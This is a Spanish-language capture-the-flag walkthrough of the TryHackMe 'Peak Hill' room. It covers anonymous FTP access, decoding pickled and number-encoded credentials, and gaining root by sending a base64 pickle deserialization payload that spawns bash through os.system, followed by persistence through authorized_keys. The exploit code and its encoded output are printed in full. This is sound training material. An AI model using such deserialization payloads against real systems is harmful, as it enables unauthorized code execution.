This page looks best with JavaScript enabled

TryHackMe - Peak Hill

 •  ✍️ sckull

Peak Hill es una maquina de TryHackMe, encontramos un fichero dentro del cual descubrimos credenciales las cuales estaban como un objeto, utilizamos Python para extraerlas y acceder por SSH. Decompilamos un archivo de Python y obtuvimos credenciales utilizando la libreria de Crypto lo que nos dio acceso al siguiente usuario. Finalmente encontramos un binario en el cual enviamos un objeto creado con Python y la libreria cPickle para ejecutar bash y obtener una shell como root.

Room

Titulo Peak Hill box_img_maker
Descripción Exercises in Python library abuse and some exploitation techniques
Puntos 210
Dificultad Media
Maker

JohnHammond

NMAP

Escaneo de puertos tcp, nmap nos muestra el puerto ftp (21, 20) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Nmap 7.80 scan initiated Sun Aug 16 20:09:24 2020 as: nmap -Pn -sV -o mini_scan peakhill.thm
Nmap scan report for peakhill.thm (10.10.29.120)
Host is up (0.30s latency).
Not shown: 997 filtered ports
PORT   STATE  SERVICE  VERSION
20/tcp closed ftp-data
21/tcp open   ftp      vsftpd 3.0.3
22/tcp open   ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 16 20:09:46 2020 -- 1 IP address (1 host up) scanned in 22.07 seconds

FTP

Ingresamos con las credenciales de anonymous (anonymous:anonymous) en donde encontramos dos archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
kali@kali:~/thm/peakhill$ ftp peakhill.thm 
Connected to peakhill.thm.
220 (vsFTPd 3.0.3)
Name (peakhill.thm:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 ftp      ftp          4096 May 15 18:37 .
drwxr-xr-x    2 ftp      ftp          4096 May 15 18:37 ..
-rw-r--r--    1 ftp      ftp          7048 May 15 18:37 .creds
-rw-r--r--    1 ftp      ftp            17 May 15 18:37 test.txt
226 Directory send OK.
ftp> get .creds
local: .creds remote: .creds
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .creds (7048 bytes).
226 Transfer complete.
7048 bytes received in 0.00 secs (35.1911 MB/s)
ftp> get test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for test.txt (17 bytes).
226 Transfer complete.
17 bytes received in 0.00 secs (129.6997 kB/s)
ftp> pwd
257 "/" is the current directory
ftp> bye
221 Goodbye.

PICKLE - .CREDS

En el servicio FTP encontramos dos archivos uno de ellos solo era un archivo de prueba, el otro tenia un mensaje en binario, utilizamos CyberCheff para ver el mensaje. En el mensaje vemos strings relacionados con SSH, intentamos decodificar con otros tipos de codificaciones y cifrado pero no logramos obtener nada.
image

En la descripcion de la maquina encontramos que la maquina incluye ejercicios de Python además de eso encontramos dos veces la imagen de un pepinillo que puede hacer referencia a la libreria de Pickle. Descargamos el archivo decodificado y utilizando Python logramos obtener el contenido, donde vemos tuplas con valores de ssh_user y ssh_pass.

1
2
3
4
5
>>> import pickle
>>> picklefile = open('possible_pickle', 'rb')
>>> print(pickle.load(picklefile))
[('ssh_pass15', 'u'), ('ssh_user1', 'h'), ('ssh_user0', 'g'), ('ssh_pass1', '1'), [... REDACTED ...], ('ssh_pass10', '1')]
>>>

Utilizamos un script para poder ordenar los datos segun el numero, basta con imprimir los diccionarios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pickle
from collections import OrderedDict

def sortByKey(dictionary):    
    return(dict(sorted(dictionary.items())))

picklefile = open('possible_pickle', 'rb')
a = pickle.load(picklefile)

ssh_pass = dict()
ssh_user = dict()

for i in range(len(a)):
	if "ssh_pass" in a[i][0]:
		ssh_pass[a[i][0]] = a[i][1]
	elif "ssh_user" in a[i][0]:
		ssh_user[a[i][0]] = a[i][1]
	else:
		print("None")

print(sortByKey(ssh_user))
print(sortByKey(ssh_pass))

GHERKIN - USER

Utilizamos las credenciales que obtuvimos, en el servicio ssh y logramos obtener una shell.
image

DILL - USER

En el directorio principal del usuario encontramos un archivo .pyc el cual trasladamos a nuestra maquina para obtener el codigo fuente utilizando uncompyle6.
image

El codigo fuente o script real nos muestra que es un servidor con su puerto y una funcion en donde se pueden ejecutar comandos, pero es necesario ingresar credenciales, tambien vemos las credenciales las cuales estan “convertidas a numeros”.

1
2
username = long_to_bytes(16[... REDACTED ...]36)
password = long_to_bytes(2457[... REDACTED ...]2356)

Revisamos si este script se estaba ejecutando en la maquina y vemos en proceso el script el cual lo ejecuta Dill.
image

Utilizamos las misma libreria (Crypto.Util.number) para obtener las credenciales reales.

1
2
3
4
5
6
7
8
>>> from Crypto.Util.number import bytes_to_long, long_to_bytes
>>> username = long_to_bytes(16[... REDACTED ...]36)
>>> username
b'dill'
>>> password = long_to_bytes(2457[... REDACTED ...]2356)
>>> password
b'n[... REDACTED ...]t'
>>>

Nos conectamos al puerto y utilizamos las credenciales, logramos ejecutar comandos. Intentamos autenticarnos en la sesion de SSH que teniamos pero al parecer no es la misma contraseña.
image

Tambien logramos obtener nuestra flag user.txt.
image

En la carpeta principal de Dill encontramos su clave privada para poder ingresar por medio del servicio SSH.

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion con sudo -l -l y vemos que tenemos permisos root (sudo) para ejecutar el archivo /opt/peak_hill_farm/peak_hill_farm. Al ejecutar dicho archivo nos pide algo, al ingresar cualquier cosa nos devuelve un error, despues de multiples intentos nos devolvio el mensaje failed to decode base64.
image

Ingresamos un mensaje codificado pero no lo aceptó, intentamos mover el archivo a nuestra maquina pero no nos deja copiar o mover el archivo.
image

En el script nos habla de Peak Hill Farm tal vez se refiera nuevamente a pickle, como el archivo que encontramos en el servicio de FTP. Creamos un payload que nos va permitir ejecutar bash para obtener una shell root. Ver Pickle RCE

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
>>> import cPickle, base64, os, sys
>>> 
>>> class Exploit(object):
...     def __init__(self, cmd):
...         self.cmd = cmd
...     def __reduce__(self):
...         return (os.system, (self.cmd,))
... 
>>> cmd = "/bin/bash"
>>> exploit = base64.b64encode(cPickle.dumps(Exploit(cmd)))
>>> exploit
'Y3Bvc2l4CnN5c3RlbQpwMQooUycvYmluL2Jhc2gnCnAyCnRScDMKLg=='
>>>

Logramos obtener una shell root.
image

Por alguna razon no logramos realizarle un cat al la flag root.txt por lo que agregamos clave de ssh al archivo authorized_keys para poder ingresar por este servicio y lograr leer nuestra flag.
image

Al parecer el archivo tiene dos espacios a los lados (del nombre).
image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe